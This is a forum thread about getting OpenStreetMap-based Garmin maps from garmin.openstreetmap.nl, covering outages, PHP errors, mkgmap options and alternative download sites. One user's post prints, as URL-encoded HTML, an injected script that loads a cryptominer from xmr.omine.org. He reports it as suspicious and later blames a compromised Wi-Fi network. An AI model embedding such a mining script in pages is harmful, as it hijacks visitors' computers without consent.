I dont have any knowledge of Macs and I dont know if you understand Dutch, but maybe this helps
http://www.javawa.nl/gmapprobleem.html - Re: Worldwide routable Garmin maps: URL REMOVED · Hotbelgo (Gast) · 29.09.2018 19:24 · [flux]
ligfietser wrote:
I dont have any knowledge of Macs and I dont know if you understand Dutch, but maybe this helps
http://www.javawa.nl/gmapprobleem.htmlThanks - this helped me work out the trick was not to use this software but to install the full Garmin suite, include the Mapmanager
- Re: Worldwide routable Garmin maps: URL REMOVED · Navajoa (Gast) · 30.09.2018 14:39 · [flux]
Hello,
I use the service for the first time 2 weeks ago. I do often update the map on OSM. Today I see, when I will download the map from Germany, I get the same version from 11-09-2018.
My question is: how often the downloads get updated?Kind Regards,
Navajoa - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 16.10.2018 14:56 · [flux]
There seems to be a problem with the server: yesterday I chose to download the new style map for Thailand, but I only got the default map.
Today, first it would not load the new style map on the web page, showing "Loading data, please wait". After refreshing the screen a couple of times the online map loaded, then it took over 5 mins after choosing the country before it gave me the link - but it's the same I already have.
Thanks,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 16.10.2018 15:03 · [flux]
It gets even stranger: I reset my selection, then chose a subset of Thailand (manually). It then sat there for a few minutes "Checking map", then gave me the link to the entire map for Thailand, new style. I think something needs to be reset.
- Re: Worldwide routable Garmin maps: URL REMOVED · ambrosa (Gast) · 25.10.2018 11:11 · [flux]
Hi guys.
I've an old GARMIN ZUMO 220 used in the past with my motorcycle (now I'm using a newer Zumo 395).
Just for fun yesterday I tried to use it with OSM maps downloaded from garmin.openstreetmap.nl and they looks to be fine. I tried Italy and Iran
But I've a problem with address search.
I click on "Where Go", I enter the City (ok, it works fine) and now I should enter the street address but it doesn't work.1) not all street address are coded (more or less about 70%) (Italy map).
2) Device find a street address only if I enter the initial string
Example: I need to find "via gianbattista"
If I enter "via gian" it finds all occurencies starting with "via gian*"
If I enter "gianba" it finds nothing3) If I enter nothing at all and I click on "DONE", device show me all street addresses , and this is good !
4) with non latin contries (i.e. IRAN), address are showed as "??é?" (yes, Zumo 220 is not UNICODE....)
Some idea for (1) and (2) ??
Obvioulsy with original Garmin map , partial address search works very fine.
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 26.10.2018 19:34 · [flux]
The program mkgmap which is used to create the maps allows this. Maybe the maps are created without the option --split-name-index
and --road-name-config. Both would make this work. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 27.10.2018 13:00 · [flux]
If that is the case it has to go to Lambertus, who doesn't read this forum any more. Try emailing him.
- Re: Worldwide routable Garmin maps: URL REMOVED · Thequiff (Gast) · 28.10.2018 12:38 · [flux]
On http://garmin.openstreetmap.nl/ I have tried selecting tiles by all the methods, for example for Malta. The selected tiles go dark blue. However, nothing changes to the 'Make a selection first' message and there is no obvious alternative place on the webpage to tick or click to request or download files.
Help. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.10.2018 15:58 · [flux]
This site seems down for several weeks now. Please report all issues to Lambertus (osm at na1400 dot info) or try another map provider.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 28.10.2018 16:13 · [flux]
Actually, you need to be patient, it takes a long time (> 5 mins) for the map check, but selecting Malta I eventually got a box to enter my email. But, you have to carefully check the link you get for a direct d/l, as I have gotten links for the wrong type of map. See above.
Kind regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 01.11.2018 16:21 · [flux]
I have emailed Lambertus, but so far he has not replied. The web site is now down with the message "Resource limit reached." 🙁
- Re: Worldwide routable Garmin maps: URL REMOVED · contaxrts (Gast) · 14.11.2018 11:31 · [flux]
Hi to everyone
I'm new on mapsI have updated from http://garmin.openstreetmap.nl/ maps of Italy on a Garmin Nuvi 1440 but I have a problem with the names of Sardinian places ...
I saw that names are written with the syntax "name in Sardinian / name in Italian" that are considered together in the search ...
the problem is that nobody knows the names in Sardinian if not those who live in the immediate vicinity and therefore the research is strongly penalized ...
the thing can be solved by eliminating the name in Sardinian that nobody uses ... or inverting in "name in Italian / name in Sardinian"
someone suggested me to ask that the map for Garmin be made using the value of "name: it" to give precedence to the Italian names ...
I do not know if for my incapacity, I could not find how to set the variable "name" nor 'how to interact with them ... do you know any solution? thank youPiero
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 14.11.2018 11:40 · [flux]
Hi Piero,
you cannot select a name in the downloadable maps but you can compile your own maps with mkgmap. This allows to use name:it in preference to name with an option like --name-tag-list=name:it,int_name,name
Gerd
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 14.11.2018 11:59 · [flux]
This is not the right forum to discuss this, but I had a look and for some reason places in Sardegna have been mapped
name=Casteddu/Cagliari
There are 2 languages used with name. Normally this is wrong, only 1 language should be used.
You need to discuss it in the Italy forum.
There is no way a worldwide map can make allowances for disregarded standards in a few corners of the world.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · SomeoneElse (Gast) · 14.11.2018 12:29 · [flux]
Beddhist wrote:
There is no way a worldwide map can make allowances for disregarded standards in a few corners of the world.
One of the strengths of OSM's free tagging is that it _can_ adapt to local situations that may be different from where the usage of those tags was first thought about.
There are plenty of examples of OSM communities which agree that "name == the one best name for the place", but there are also examples where for political or just practical reasons the local community has decided to have multiple tags in the name field. Sardinia is one of those places (see extensive previous discussion on the talk-it mailing list). There were some edit wars there where some people (actually mostly one person) from the mainland tried to say that "the official language of places in Italy is Italian" but people in Sardinia were pretty clear that they wanted the Sardinian names front and centre.
As GerdP has already said, processing this data is pretty much a solved problem (both in mkgmap, and also in mod_tile / renderd - see https://www.openstreetmap.org/user/Some … iary/42069 for a diary entry that I wrote about that)
- Re: Worldwide routable Garmin maps: URL REMOVED · ZillaG (Gast) · 21.11.2018 08:43 · [flux]
I want to download all of USA General Routable maps ( I travel a lot) but when I select United States from the North America drop down list I still see "Make selection first" on the page? I thought this feature exists? All tutorials I see use the mouse-select method.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.11.2018 22:43 · [flux]
ZillaG wrote:
I want to download all of USA General Routable maps ( I travel a lot) but when I select United States from the North America drop down list I still see "Make selection first" on the page? I thought this feature exists? All tutorials I see use the mouse-select method.
The USA has never been available as separate country because of its size. Here you can download bigger parts:
http://gis.19327.n8.nabble.com/Whole-US … 16263.html - Re: Worldwide routable Garmin maps: URL REMOVED · ZillaG (Gast) · 22.11.2018 17:55 · [flux]
ligfietser wrote:
ZillaG wrote:
I want to download all of USA General Routable maps ( I travel a lot) but when I select United States from the North America drop down list I still see "Make selection first" on the page? I thought this feature exists? All tutorials I see use the mouse-select method.
The USA has never been available as separate country because of its size. Here you can download bigger parts:
http://gis.19327.n8.nabble.com/Whole-US … 16263.htmlThank you!
- Re: Worldwide routable Garmin maps: URL REMOVED · chall3ng3r (Gast) · 27.11.2018 14:35 · [flux]
Navajoa wrote:
Hello,
I use the service for the first time 2 weeks ago. I do often update the map on OSM. Today I see, when I will download the map from Germany, I get the same version from 11-09-2018.
My question is: how often the downloads get updated?Kind Regards,
NavajoaSame question from me too, how often maps are updated?
I did some updates to OSM near my area so it can make a correct route, changes are live, but when I generate new map, I get the same old version.
It'd be great if the service's page also mentions when the map data will be updated (weekly / monthly), so I can schedule my visit rather than generating new map image after every couple of days.
Thanks, and this is really awesome and simple service kudos to the developer. Love it!
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 27.11.2018 15:42 · [flux]
I don't know how often are the updates, but now the page says "Map version: 10-11-2018"
- Re: Worldwide routable Garmin maps: URL REMOVED · chall3ng3r (Gast) · 27.11.2018 18:14 · [flux]
muralito wrote:
I don't know how often are the updates, but now the page says "Map version: 10-11-2018"
Yes, same version I see. I need updated one after 15th Nov, thats where my changes are. I hope it gets updated soon.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 15.12.2018 02:57 · [flux]
There is new map data now. It takes 5-10 mins. of "checking" after selecting a country, so just be patient.
- Re: Worldwide routable Garmin maps: URL REMOVED · chall3ng3r (Gast) · 15.12.2018 08:45 · [flux]
Beddhist wrote:
There is new map data now. It takes 5-10 mins. of "checking" after selecting a country, so just be patient.
Thank you, just opened the website and looked at map version, its now changed to Map version: 11-12-2018 🙂
And my changes are now in updated maps... Yay! 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · dmick1954 (Gast) · 12.01.2019 22:47 · [flux]
I have a Garmin dezl 770. Can an open street map be loaded on it? I see no mention of it Anywhere in this regard. Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 14.01.2019 07:58 · [flux]
dmick1954 wrote:
I have a Garmin dezl 770. Can an open street map be loaded on it? I see no mention of it Anywhere in this regard. Thanks
The device has a slot for sd cards, so yes, it probably works. Follow the instructions on
https://wiki.openstreetmap.org/wiki/Gar … .nl:ManualGerd
- Re: Worldwide routable Garmin maps: URL REMOVED · DutX (Gast) · 21.01.2019 21:24 · [flux]
I can't seem to download my selected area, of any map for that matter. I'm getting the error below, on three browsers. Is this temporary, or is this service down for good?
Warning:␣include_once(/dCachePool1/data/garmin_combine/cache_time.php):␣failed␣to␣open␣stream:␣Input/output␣error␣in␣/dCachePool2/data/garmin_web/garmin/request-combine.php␣on␣line␣5␣Warning:␣include_once():␣Failed␣opening␣'/dCachePool1/data/garmin_combine/cache_time.php'␣for␣inclusion␣(include_path='.:/usr/share/pear:/usr/share/php')␣in␣/dCachePool2/data/garmin_web/garmin/request-combine.php␣on␣line␣5
Free␣maps␣for␣Garmin␣brand␣GPS␣devices
Warning:␣fopen(/dCachePool1/data/garmin_requests/requests.log):␣failed␣to␣open␣stream:␣Input/output␣error␣in␣/dCachePool2/data/garmin_web/garmin/request-combine.php␣on␣line␣101␣Warning:␣fopen(/dCachePool1/data/garmin_requests/48907bd20bc81b031706ab1e519b2c1d):␣failed␣to␣open␣stream:␣Input/output␣error␣in␣/dCachePool2/data/garmin_web/garmin/request-combine.php␣on␣line␣109
Go␣back
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 21.01.2019 21:54 · [flux]
Can you describe in what situation you see this message? What do you try to download and from where?
- Re: Worldwide routable Garmin maps: URL REMOVED · DutX (Gast) · 21.01.2019 22:04 · [flux]
GerdP wrote:
Can you describe in what situation you see this message? What do you try to download and from where?
Basicly when requesting [build my map]. It happend when pressing enter after giving an emailadres.
So steps:
1. Going to: http://garmin.openstreetmap.nl/
2. Checking Routable Bicycle (Openfietsmap Lite)
3a. Enable Manual tile selection, and choosing a tile in the Netherlands. -> then it basicly keeps the option now closed to download ("(Make a selection first)")
3b. or selecting an entire region, the "make a selection first" keeps on there.Now, actually when currently trying to replicate the error, i can not fill in my email to request the download. The option simply doesn't pop. When i got the error mentioned before, i did have an option to fill in my email but then a new tab opened when the error as posted in the code.
Edit: and now i do get the option, first it says "Checking existing maps... " for quite a while (>30secs). It seems that when clicking twice instead of the email box i get the link to download directly and the option enter email adress is gone.
Does this clarify anything at all?
Edit2: reading back on the posts here now, probably the same as before... thanks for your reply though.
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 21.01.2019 22:21 · [flux]
Yes, I can reproduce the problem now, but I cannot help. You should try to contact Lambertus directly. Don't know how, it is difficult to reach him.
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 21.01.2019 22:24 · [flux]
The problem occurs in this php script:
http://sn21.pleiades.uni-wuppertal.de/garmin/request-combine.php
- Re: Worldwide routable Garmin maps: URL REMOVED · c4_carlinho (Gast) · 23.01.2019 16:36 · [flux]
DutX wrote:
I can't seem to download my selected area, of any map for that matter. I'm getting the error below, on three browsers. Is this temporary, or is this service down for good?
Warning:␣include_once(/dCachePool1/data/garmin_combine/cache_time.php):␣failed␣to␣open␣stream:␣Input/output␣error␣in␣/dCachePool2/data/garmin_web/garmin/request-combine.php␣on␣line␣5␣Warning:␣include_once():␣Failed␣opening␣'/dCachePool1/data/garmin_combine/cache_time.php'␣for␣inclusion␣(include_path='.:/usr/share/pear:/usr/share/php')␣in␣/dCachePool2/data/garmin_web/garmin/request-combine.php␣on␣line␣5
Free␣maps␣for␣Garmin␣brand␣GPS␣devices
Warning:␣fopen(/dCachePool1/data/garmin_requests/requests.log):␣failed␣to␣open␣stream:␣Input/output␣error␣in␣/dCachePool2/data/garmin_web/garmin/request-combine.php␣on␣line␣101␣Warning:␣fopen(/dCachePool1/data/garmin_requests/48907bd20bc81b031706ab1e519b2c1d):␣failed␣to␣open␣stream:␣Input/output␣error␣in␣/dCachePool2/data/garmin_web/garmin/request-combine.php␣on␣line␣109
Go␣back
I'm having the same problem when requesting the download link.
Any solution? - Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 24.01.2019 08:01 · [flux]
There are many, many solutions.
Try another provider https://wiki.openstreetmap.org/wiki/OSM … n/Download
https://download.bbbike.org/osm/ site is very reliable. - Re: Worldwide routable Garmin maps: URL REMOVED · wdevries (Gast) · 24.01.2019 11:55 · [flux]
Same here:(
Warning:␣include_once(/dCachePool1/data/garmin_combine/cache_time.php):␣failed␣to␣open␣stream:␣Input/output␣error␣in␣/dCachePool2/data/garmin_web/garmin/request-combine.php␣on␣line␣5␣Warning:␣include_once():␣Failed␣opening␣'/dCachePool1/data/garmin_combine/cache_time.php'␣for␣inclusion␣(include_path='.:/usr/share/pear:/usr/share/php')␣in␣/dCachePool2/data/garmin_web/garmin/request-combine.php␣on␣line␣5
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.01.2019 13:27 · [flux]
The only one who can fix this is the owner for that site, Lambertus.
Unfortunately he hasnt been here on this forum for ages and hardly responds to email messages but you can try:Lambertus wrote:
Contact
You can get contact me by replying to this forum topic, using the email function of this forum, through the OpenStreetMap user page or by email at: osm at na1400 dot info - Re: Worldwide routable Garmin maps: URL REMOVED · JuWei (Gast) · 28.01.2019 13:21 · [flux]
I get the following message when clicking "Build my map":
(Map Set for Israel)Warning: include_once(/dCachePool1/data/garmin_combine/cache_time.php): failed to open stream: Input/output error in /dCachePool2/data/garmin_web/garmin/request-combine.php on line 5 Warning: include_once(): Failed opening '/dCachePool1/data/garmin_combine/cache_time.php' for inclusion (include_path='.:/usr/share/pear:/usr/share/php') in /dCachePool2/data/garmin_web/garmin/request-combine.php on line 5
Free maps for Garmin brand GPS devices
Warning: fopen(/dCachePool1/data/garmin_requests/requests.log): failed to open stream: Input/output error in /dCachePool2/data/garmin_web/garmin/request-combine.php on line 101 Warning: fopen(/dCachePool1/data/garmin_requests/42d34977445a0a760e01772b8a30bc9e): failed to open stream: Input/output error in /dCachePool2/data/garmin_web/garmin/request-combine.php on line 109What am I doing wrong? It has been a while since I last used your service on http://garmin.openstreetmap.nl/
Have there been changes I am unaware of?I appreciate tips and help,
Thank you,
Jurgen - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 28.01.2019 14:13 · [flux]
JuWei wrote:
What am I doing wrong? It has been a while since I last used your service on http://garmin.openstreetmap.nl/
Have there been changes I am unaware of?Nothing. The service is broken, see previous posts for alternatives
- Re: Worldwide routable Garmin maps: URL REMOVED · Duke 750SS (Gast) · 01.02.2019 10:37 · [flux]
Hi Guys,
I am new to this and have been trying to download map tiles for Garmin from Free Maps for Garmin Bradn GPS devices. I am trying to download Routable Bicycle (Openfietsmap Lite). I can select tiles and enter my email address but when I click on Build my Map another page opens with the following:
Warning: include_once(/dCachePool1/data/garmin_combine/cache_time.php): failed to open stream: Input/output error in /dCachePool2/data/garmin_web/garmin/request-combine.php on line 5 Warning: include_once(): Failed opening '/dCachePool1/data/garmin_combine/cache_time.php' for inclusion (include_path='.:/usr/share/pear:/usr/share/php') in /dCachePool2/data/garmin_web/garmin/request-combine.php on line 5
Free maps for Garmin brand GPS devices
Warning: fopen(/dCachePool1/data/garmin_requests/requests.log): failed to open stream: Input/output error in /dCachePool2/data/garmin_web/garmin/request-combine.php on line 101 Warning: fopen(/dCachePool1/data/garmin_requests/401f5803298c079a7c9401f84475a3dc): failed to open stream: Input/output error in /dCachePool2/data/garmin_web/garmin/request-combine.php on line 109
Go backJust wondering if I am doing something wrong. Any assistance would be greatly appreciated.
Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · Carlos_N (Gast) · 01.02.2019 16:16 · [flux]
Hello, I'm writing for help.
At the end of March I will travel to Bhutan and I am reviewing the maps of the area, incidentally they have quite a few errors, to be able to carry more accurate maps in the GPS, Garmin Montana.
There's a problem I can't solve, your position is this:
https://www.openstreetmap.org/#map=19/27.53799/90.80867I modified the position of the roads to better match the photographs and put the bridge in position.
No matter how many experiments I do, I can't make a route that crosses the bridge. Some point at its northern end prevents crossing the river. Instead, he looks for alternatives in the south, which do have a connection. (90 km. vs. 150 m.)
The link below is a sample
https://www.openstreetmap.org/direction … 5/90.80873
I appreciate any help or suggestion.
Greetings.
Correction:
I just checked that selecting 'by car (OSRM)' works well.
It has taken more than 12 hours to do so. - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 01.02.2019 17:19 · [flux]
Not sure how this is related to Garmin maps but probably Graphhopper is not yet using your latest changes.
- Re: Worldwide routable Garmin maps: URL REMOVED · tpearce (Gast) · 05.02.2019 00:41 · [flux]
I am trying to download some routable cycling maps for Australia. Have previously done so for France. Despite selecting the relevant tiles the web site doesn't appear to recognise that I have done so and still asks me to make a selection first. There is no download link. Am I doing something wrong?
thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · tpearce (Gast) · 05.02.2019 02:13 · [flux]
problem solved - ignore
alternative resource used.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ipiker (Gast) · 05.02.2019 11:02 · [flux]
I am trying to download some routable cycling maps for Spain. Despite selecting the relevant tiles the web site doesn't appear to recognise that I have done so and still asks me to make a selection first. There is no download link.
Server status:
osm.pleiades.uni-wuppertal.de/garmin/, queue = 0 requests (~0 days), status = OK
osm2.pleiades.uni-wuppertal.de/garmin/ not available!
sn21.pleiades.uni-wuppertal.de/garmin/ not available!Am I doing something wrong?
thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 05.02.2019 11:49 · [flux]
Ipiker wrote:
Am I doing something wrong?
No. The service is broken, see #2911 for alternatives.
- Re: Worldwide routable Garmin maps: URL REMOVED · tpearce (Gast) · 06.02.2019 04:37 · [flux]
go here
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.02.2019 10:01 · [flux]
Ipiker wrote:
I am trying to download some routable cycling maps for Spain. Despite selecting the relevant tiles the web site doesn't appear to recognise that I have done so and still asks me to make a selection first. There is no download link.
You can download them here: http://www.openfietsmap.nl/downloads/europe
Scroll down to get the GPS version for Spain (OFM(EU2018_SW_GPS).zip) - Re: Worldwide routable Garmin maps: URL REMOVED · Joel_fbj (Gast) · 08.02.2019 14:35 · [flux]
Bom dia!
Alguém sabe o formato correto para baixar o mapa no site
https://download.bbbike.org/osm/
e rodar no garmin edge 520? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.02.2019 09:50 · [flux]
Joel_fbj wrote:
Good Morning!
Does anyone know the correct format to download the map on the site
https://download.bbbike.org/osm/
and run on garmin edge 520?Everything in that list with "Garmin" They only differ in style. OSM is the basic Garmin style (very ugly), or you can choose cycle map, leisure (freizeitkarte), OpenFietsMap, OpenSeaMap, OpenTopoMap, and BBBike.
- Re: Worldwide routable Garmin maps: URL REMOVED · sononum (Gast) · 13.02.2019 09:04 · [flux]
Hello Forum!
First, let me thank of all the work contributed to Openfietsmap!
I am trying to do roadbike-routing with Garmin Basecamp and OFM (Alps), but it seems that cobblestone roads are unpaved and excluded from routing. (My activity is "car" with "avoid unpaved roads")
Is this a bug, intended or am I overlooking something?
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.02.2019 09:30 · [flux]
sononum wrote:
Hello Forum!
First, let me thank of all the work contributed to Openfietsmap!
I am trying to do roadbike-routing with Garmin Basecamp and OFM (Alps), but it seems that cobblestone roads are unpaved and excluded from routing. (My activity is "car" with "avoid unpaved roads")
Is this a bug, intended or am I overlooking something?
Thanks!
Yes that is intended behaviour, unfortunately Garmin has only two options, avoid it "on" or "off" not something in between.
Same could be said about gravel tracks with a smooth rideable surface. Those will be avoided too, unfortunately. Until it has rained heavily, then you will be happy that the OFM avoids them. But I agree routing is far from perfect. You only can try bicycle as activity instead of cars, it will choose more unpaved possibilities. - Re: Worldwide routable Garmin maps: URL REMOVED · sononum (Gast) · 13.02.2019 10:43 · [flux]
Thanks for the clarification.
I totally disagree that routing is far from perfect, I do get very good results for my taste.
I totally agree, that every bike-rider has different preferences regarding surface and routing.I tried to build the map on my own and tweak the style a bit but I failed*. Is the "Openfietsmap full" style in the github repo the one that is used for the maps to download? Which typ is used?
It was the first time I fired up mkgmap, so there are plenty of things I might habe down wrong. Just wanted to be sure I am using the correct input for my expected
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the car profile of the created map behaved like for real cars. Either it used a default style or I was passing the wrong style to mkgmap
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the car profile of the created map behaved like for real cars. Either it used a default style or I was passing the wrong style to mkgmap
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 13.02.2019 11:41 · [flux]
What options did you use for mkgmap?
- Re: Worldwide routable Garmin maps: URL REMOVED · sononum (Gast) · 13.02.2019 12:06 · [flux]
--style-file pointed to the "Openfietsmap full" folder in styles (seemed to work, checked with "--list-styles"), the first options file was "mkgmap.args" in styles/Openfietsmap full, the second one created by splitter.
didn't specify a typ.
mkgmap worked fine, except some warnings about elevation data which I ignored for the beginning.
I also tried the "bike-map" option from mkgmap but the result was the same.
Should one change map identifier/version/etc to avoid issues with Basecamp Map Cache?
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 13.02.2019 12:15 · [flux]
What I wanted to see was the order of options. Some users specify the --style-file option after the templates.args from splitter, and that means that mkgmap uses the default style for the files.
- Re: Worldwide routable Garmin maps: URL REMOVED · sononum (Gast) · 13.02.2019 12:26 · [flux]
Thanks for the hit, I'll check when I'm back from work.
But the bash history in my brain says I have been caught by that and it would explain the output.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.02.2019 17:21 · [flux]
Styles are here: https://github.com/ligfietser/mkgmap-st … map%20full
Args file is here: https://github.com/ligfietser/mkgmap-st … kgmap.args
You need to specify a typ file otherwise the whole map is screwed up. Use this type file (is the same for both full and light version): https://github.com/ligfietser/mkgmap-st … /20011.txt
Car routing is not supported at all so I guess something went wrong in your compilation.
- Re: Worldwide routable Garmin maps: URL REMOVED · sononum (Gast) · 13.02.2019 19:27 · [flux]
Thanks for helping me to get started! Indeed it was the fault of passing the --style-file option after templates.args
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 20.02.2019 09:54 · [flux]
BTW: The service at http://garmin.openstreetmap.nl seems to work again 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Russ McD (Gast) · 22.02.2019 08:57 · [flux]
Having some similar problems accessing the above site ... when selecting a predefined set of maps (Thailand, in my case), the download now link shows <\/script>");} ' target='_blank'>Download map now!
Examination of the full link address shows that its seems to contain a Data Miner.
"[url]http://garmin.openstreetmap.nl/%3Chtml%3E%3Chead%3E%20%20%3Cscript%20src=%22https://xmr.omine.org/assets/v7.js%22%3E%3C/script%3E%20%20%3Cscript%3E%20%20%20%20OMINEId(%22f6c7f38e473a4a0a9d9d1f340cb260a3%22,%22-1%22);%20%20%20%20%20throttleMiner=30;%20%20%20%3C/script%3E%20%20%3C/head%3E%3Cbody%3E%20%20%3Cdiv%20%3E%20%20%20%20%20%3Ciframe%20src=%22http://garmin.openstreetmap.nl/exists.php%22%20width=%22100%%22%20height=%22100%%22%20id=%22demo_frame%22%20scrolling=%22no%22%20frameborder=%220%22%3E%3C/iframe%3E%20%20%3C/div%3E%3Cscript%3E%20%20var%20i%20=%20document.getElementById([/url]"
Now, I have run a number of Malware checker programs including Malwarebytes, which says my PC is clean, but of course, it could be wrong Is anyone else experiencing this behaviour ?
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Post moderated because of suspicious link *
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Post moderated because of suspicious link *
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 22.02.2019 09:19 · [flux]
I see this download link for generic new style + Thailand:
http://osm.pleiades.uni-wuppertal.de/ga … 69e6eed3e6Gerd
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.02.2019 15:58 · [flux]
Russ, I dont see this behaviour. Maybe your computer is infected? 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · Russ McD (Gast) · 23.02.2019 01:32 · [flux]
Gerd, thanks.
Ligfietser - Yes, I'm quite mindful of the fact the problem is local ... and have been doing some more checking. When I open your site using a different network connection (4g Hotspot), the problem goes away. I normally connect through a condo community Wifi network and I strongly suspect this has been compromised.
Cheers, Russ. - Re: Worldwide routable Garmin maps: URL REMOVED · jls1121 (Gast) · 14.03.2019 16:42 · [flux]
Tried to download the file osm_generic_new_gmapsupp.zip as well as osm_generic_gmapsupp.zip (south korea) but it comes down as a .img file. When I click on it it says that it is not a mountable image.
- Re: Worldwide routable Garmin maps: URL REMOVED · alester (Gast) · 14.03.2019 16:58 · [flux]
jls1121 wrote:
Tried to download the file osm_generic_new_gmapsupp.zip as well as osm_generic_gmapsupp.zip (south korea) but it comes down as a .img file. When I click on it it says that it is not a mountable image.
The .zip files are supposed to contain a .img file. This file is not meant to be mounted as a disk, so double-clicking it won't do anything you want. You need to copy it to your device, which can then read it as a Garmin map file.
- Re: Worldwide routable Garmin maps: URL REMOVED · that other guy (Gast) · 23.03.2019 12:36 · [flux]
Is anyone else having trouble loading the site?
- Re: Worldwide routable Garmin maps: URL REMOVED · SHARCRASH (Gast) · 23.03.2019 14:00 · [flux]
What is happening with the website? The data doesn't load on the website's interface. I tried on different browsers and devices...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.03.2019 17:06 · [flux]
Yep the Wuppertal server is offline, maybe maintainance? I can't update my maps too.
Try it later. - Re: Worldwide routable Garmin maps: URL REMOVED · Patrick_Keogh (Gast) · 24.03.2019 06:23 · [flux]
Still unavailable...
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 24.03.2019 06:55 · [flux]
Try another provider until it comes available...
https://wiki.openstreetmap.org/wiki/OSM … n/Download - Re: Worldwide routable Garmin maps: URL REMOVED · Patrick_Keogh (Gast) · 24.03.2019 07:46 · [flux]
Yes thanks I knew about that. I want something specific that only this site provides :-)
- Re: Worldwide routable Garmin maps: URL REMOVED · that other guy (Gast) · 24.03.2019 12:36 · [flux]
nevw wrote:
Try another provider until it comes available...
https://wiki.openstreetmap.org/wiki/OSM … n/DownloadThanks for that!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.03.2019 18:27 · [flux]
Seems that due to construction works the servers are down this week. Try it later or use another service.
- Re: Worldwide routable Garmin maps: URL REMOVED · SomeoneElse (Gast) · 25.03.2019 18:55 · [flux]
Patrick_Keogh wrote:
Yes thanks I knew about that. I want something specific that only this site provides :-)
Create your own map instead? See https://wiki.openstreetmap.org/wiki/OSM … m_OSM_data and for a simple worked example, https://www.openstreetmap.org/user/Some … iary/38613 .
- Re: Worldwide routable Garmin maps: URL REMOVED · Sattphalat (Gast) · 25.03.2019 21:26 · [flux]
ligfietser wrote:
Seems that due to construction works the servers are down this week. Try it later or use another service.
thanks.
nice to know. have tried a couple of days. lot of frustration :-) - Re: Worldwide routable Garmin maps: URL REMOVED · Patrick_Keogh (Gast) · 25.03.2019 23:12 · [flux]
I don't think that there is another service which allows me to create a single map with disjoint tiles is there?
It would be helpful if the "Server Status:" area on the web page was updated with an ETA...
- Re: Worldwide routable Garmin maps: URL REMOVED · SHARCRASH (Gast) · 26.03.2019 08:46 · [flux]
Patrick_Keogh wrote:
... It would be helpful if the "Server Status:" area on the web page was updated with an ETA...
Giving an ETA for an unpredictable event is like prophesying the future. You clearly are using your GPS device way too much 😛 🤣
- Re: Worldwide routable Garmin maps: URL REMOVED · Patrick_Keogh (Gast) · 26.03.2019 11:26 · [flux]
Well I have just retired from a career of running IT projects including data centre relocations and similar. I do believe that, even if the event that led to the outage was unscheduled, four days since then should have allowed some estimate of when the issue will be rectified.The "E" in ETA is Estimated, and I think we could all accept that it is not guaranteed to be 100% accurate but that's not the point.
We do "prophesy the future" fairly regularly. It helps us decide whether to pack a warm jacket or a raincoat. It isn't always perfect but it is better than nothing.
Last, the estimate was already given above, I was just asking for it to be added at the appropriate place on the web page so that others do not have to go digging into the forum to find out!
- Re: Worldwide routable Garmin maps: URL REMOVED · SomeoneElse (Gast) · 26.03.2019 23:01 · [flux]
Patrick_Keogh wrote:
I don't think that there is another service which allows me to create a single map with disjoint tiles is there?
I've certainly done that manually (without using any external site, just using OSM data)...
- Re: Worldwide routable Garmin maps: URL REMOVED · Richard (Gast) · 27.03.2019 18:52 · [flux]
Patrick_Keogh wrote:
Well I have just retired from a career of running IT projects including data centre relocations and similar. I do believe that, even if the event that led to the outage was unscheduled, four days since then should have allowed some estimate of when the issue will be rectified.
I'm presuming, though, that you got paid for the data centre relocations, unlike the volunteer running garmin.openstreetmap.nl. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Patrick_Keogh (Gast) · 27.03.2019 22:47 · [flux]
Being paid does not make you more clever or insightful.
I imagine that the volunteers have a strong desire to offer good service, just like good professionals do. I know for the things that I do as a volunteer I try to bring the same service-centric view to the table.
